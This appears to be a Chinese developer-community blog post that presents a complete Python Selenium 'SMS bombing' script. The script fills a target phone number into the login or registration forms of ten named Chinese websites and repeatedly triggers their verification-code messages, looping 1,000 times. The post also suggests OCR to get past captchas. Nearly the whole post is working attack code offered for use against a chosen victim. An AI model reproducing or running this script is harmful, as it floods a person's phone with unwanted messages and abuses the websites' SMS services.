前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python selenium短信轰炸代码

python selenium短信轰炸代码

原创
作者头像
用户9325455
修改2021-12-25 19:35:10
9.4K0
修改2021-12-25 19:35:10
举报
文章被收录于专栏:seleniumselenium

简述

代码可以理解为两方面。一部分是借助python的selenium库来实现自动化与网页交互,另一部分是借助网站平台在登录时,可以通过发送手机验证码来实现,

第一部分

第一方面中还要说明的是,我在爬取获取网站元素时采用的是By.xpath这种方法。而xpath是最不建议使用的,因为只要网站改动一点,代码就会失效。好多都可以改成id或者class_name。但有时侯class_name不一定是唯一的,这一点需要注意,有什么解决办法吗?可以通过父节点或者子节点来获取

举一个用class_name的例子

代码语言:javascript
复制
def kuaishou():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")#存放你自己的webdriver的路径
    driver.get ( "<https://www.kuaishou.com/?utm_source=bb&utm_medium=01&utm_campaign=MIXED_HAO123_DC_XXL_CPT&location=01_mingzhan_2_7>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_class_name('user-default').click()
    driver.find_element_by_class_name('pl-input-text').send_keys(phone)
    driver.find_element_by_class_name('get-verification').click()
    sleep(1)
    driver.quit()

举一个用id的例子

代码语言:javascript
复制
def tonhcheng58():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://passport.58.com/reg/?path=https%3A%2F%2Fsu.58.com%2F%3Futm_source%3Dmarket%26spm%3Db-31580022738699-me-f-862.mingzhan&source=58-homepage-pc&utm_source=market&spm=b-31580022738699-me-f-862.mingzhan&PGTID=0d100000-0000-5c8d-b15b-7e4b9a57dc48&ClickID=2>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_id('mask_body_item_phonenum').send_keys(phone)
    driver.find_element_by_id('mask_body_item_getcode').click()
    sleep(1)
    driver.quit()

第二部分

我在爬取网站的时候,刻意避开了验证码问题。因为处理验证码的时间和正确率不忍直视,识别三次成功一次这个样子。如果有小伙伴想添加验证码的网站,可以使用tesseract,官网链接我会贴在下面。

常见问题

  1. 不能运行,看看是否安装webdriver。我用的是谷歌浏览器,所以使用的是谷歌的webdriver,请安装对应浏览器的对应版本。
  2. tesseract官网:https://tesseract-ocr.github.io/
  3. 有些网站限制用户单日发送验证码的次数

源代码部分

代码语言:javascript
复制
from selenium import webdriver
from time import sleep
phone = 000000#你的目标手机号码
number = 1000#轰炸次数

def kuaishou():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")#存放你自己的webdriver的路径,下面几个都需要改
    driver.get ( "<https://www.kuaishou.com/?utm_source=bb&utm_medium=01&utm_campaign=MIXED_HAO123_DC_XXL_CPT&location=01_mingzhan_2_7>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="app"]/div[1]/section/div/div/header/div/div[3]/ul/li[3]/div/p').click()
    driver.find_element_by_xpath('//*[@id="app"]/div[2]/div/div/div/div/div[1]/div/div[1]/div/input').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="app"]/div[2]/div/div/div/div/div[1]/div/div[2]/div/div/span').click()
    sleep(1)
    driver.quit()
def TaoBao():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://reg.taobao.com/member/reg/fast/union_reg?_regfrom=TB>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="container"]/div/div[2]/div[1]/div/div/div[2]/input').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="container"]/div/div[2]/div[2]/div/div/div[2]/a').click()
    sleep(1)
    driver.quit()
def tonhcheng58():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://passport.58.com/reg/?path=https%3A%2F%2Fsu.58.com%2F%3Futm_source%3Dmarket%26spm%3Db-31580022738699-me-f-862.mingzhan&source=58-homepage-pc&utm_source=market&spm=b-31580022738699-me-f-862.mingzhan&PGTID=0d100000-0000-5c8d-b15b-7e4b9a57dc48&ClickID=2>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="mask_body_item_phonenum"]').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="mask_body_item_getcode"]').click()
    sleep(1)
    driver.quit()
def gaodun():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://www.gaodun.com/>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="applyLoginId"]').click()
    driver.find_element_by_xpath('//*[@id="js_changeOtherType"]').click()
    driver.find_element_by_xpath('//*[@id="js_GaodunLoginOrderPhone"]').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="js_GaodunLoginPullCode"]').click()
    sleep(1)
    driver.quit()
def yidong():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://login.10086.cn/login.html?channelID=12003&backUrl=https://shop.10086.cn/i/?f=home>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="J_pc"]').click()
    # driver.find_element_by_id("hr_label_phonelogin").click()
    driver.find_element_by_xpath('//*[@id="sms_name"]').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="getSMSPwd1"]').click()
    sleep(2)
    driver.quit()
def liepin():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://www.liepin.com/>" )
    driver.maximize_window()
    sleep(1.5)
    driver.find_element_by_xpath('//*[@id="tel"]').send_keys(phone)
    # sleep(2)
    driver.find_element_by_xpath('//*[@id="home-banner-login-container"]/div/div/div/div/div[3]/div/form/div[2]/div/div/div/span/span/span/div').click()
    sleep(1)
    driver.quit()
def migu():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://passport.migu.cn/portal/user/register/msisdn?sourceid=220001&callbackURL=https%3A%2F%2Fmusic.migu.cn%2Fv3>" )
    driver.maximize_window()
    sleep(1.5)
    driver.find_element_by_xpath('/html/body/div[1]/div/table/tbody/tr[2]/td[2]/div/table/tbody/tr[2]/td[2]/div/a').click()
    # sleep(1)
    driver.find_element_by_xpath('//*[@id="J_Phone"]').send_keys(phone)
    # sleep(1)
    driver.find_element_by_xpath('//*[@id="J_GetMsgCode"]').click()
    sleep(1)
    driver.quit()
def xueqiu():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://xueqiu.com/>" )
    driver.maximize_window()
    sleep(2)
    # driver.find_element_by_xpath('//*[@id="app"]/nav/div[1]/div[2]/div/div/span').click()
    driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[1]/a[1]').click()
    sleep(1)
    driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[2]/div/div/form/div[1]/input').send_keys(phone)
    sleep(1)
    driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[2]/div/div/form/div[1]/span[2]').click()
    sleep(1)
    driver.quit()
def ku6():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://video-center.ku6.com/video-center/user/register>" )
    driver.maximize_window()
    sleep(1.5)
    driver.find_element_by_xpath('//*[@id="phone"]').send_keys(phone)
    # sleep(1)
    driver.find_element_by_xpath('//*[@id="codeBut"]').click()
    sleep(1)
    driver.quit()
def newpianchang():
    driver = webdriver.Chrome(r"C:\\\\Users\\\\86151\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chromedriver.exe")
    driver.get ( "<https://passport.xinpianchang.com/signup?redirect_uri=https%3A%2F%2Fwww.vmovier.com%2F>" )
    driver.maximize_window()
    sleep(1.5)
    driver.find_element_by_xpath('//*[@id="signup_nickname"]').send_keys('saodoiad7987')
    driver.find_element_by_xpath('//*[@id="signup_phone"]').send_keys(phone)
    # sleep(1)
    driver.find_element_by_xpath('//*[@id="__next"]/section/main/div[2]/div/div/div/form/div[3]/div/div/span/span/span/span/a').click()
    sleep(1)
    driver.quit()
for i in range(number):
    kuaishou()
    print("{}  第{}次  发送成功  {}".format(phone,i,"快手"))
    TaoBao()
    print("{}  第{}次  发送成功  {}".format(phone,i,"淘宝"))
    tonhcheng58()
    print("{}  第{}次  发送成功  {}".format(phone,i,"58同城"))
    gaodun()
    print("{}  第{}次  发送成功  {}".format(phone,i,"高顿教育"))
    yidong()
    print("{}  第{}次  发送成功  {}".format(phone,i,"移动"))
    liepin()
    print("{}  第{}次  发送成功  {}".format(phone,i,"猎聘"))
    migu()
    print("{}  第{}次  发送成功  {}".format(phone,i,"咕米音乐"))
    xueqiu()
    print("{}  第{}次  发送成功  {}".format(phone,i,"雪球"))
    ku6()
    print("{}  第{}次  发送成功  {}".format(phone,i,"酷6视频"))
    newpianchang()
    print("{}  第{}次  发送成功  {}".format(phone,i,"新片场"))
    

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简述
    • 第一部分
      • 举一个用class_name的例子
        • 举一个用id的例子
          • 第二部分
          • 常见问题
          • 源代码部分
          相关产品与服务
          短信
          腾讯云短信(Short Message Service,SMS)可为广大企业级用户提供稳定可靠,安全合规的短信触达服务。用户可快速接入,调用 API / SDK 或者通过控制台即可发送,支持发送验证码、通知类短信和营销短信。国内验证短信秒级触达,99%到达率;国际/港澳台短信覆盖全球200+国家/地区,全球多服务站点,稳定可靠。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
          http://www.vxiaotou.com